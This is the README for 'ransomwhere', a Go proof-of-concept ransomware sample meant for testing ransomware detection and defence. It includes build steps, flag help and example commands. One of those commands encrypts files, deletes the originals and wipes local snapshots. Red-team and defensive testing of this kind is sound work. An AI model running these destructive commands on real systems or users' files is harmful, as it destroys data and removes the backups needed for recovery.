Ransomwhere

一个概念验证勒索软件样本，用于加密你的文件，以测试你的勒索软件检测与防御策略。如果未提供任何参数，ransomwhere 将自动执行 encrypt 模式，且不会删除原始文件。

我对本软件造成的任何损害概不负责。

构建

# with make and Go installed
% make build

用法

% ransomwhere -h
Usage of ransomwhere:
  -delete
        Delete files after encrypting.
  -log string
        The log level to use. (default "error")
  -mode string
        Encrypt or decrypt the ransomware files. (default "encrypt")
  -path string
        Path to the directory where to traverse files to ransom. (default "/Users/niels")
  -wipe
        Wipe local snapshots while encrypting.

示例

# straight from source, encrypt in our home directory
% make FLAGS="-log=warn -delete=false -mode=encrypt"

# from the binary, encrypt /home/ransom/
% ./app -log=warn -delete=false -mode=encrypt -path=/home/ransom/

# encrypt, delete original files and wipe backups like a real ransomware (DANGEROUS)
% ./app -delete=true -wipe=true

# revert the ransom operation and restore any files
% ./app -mode=decrypt

ransomwhere v1.3.1

分类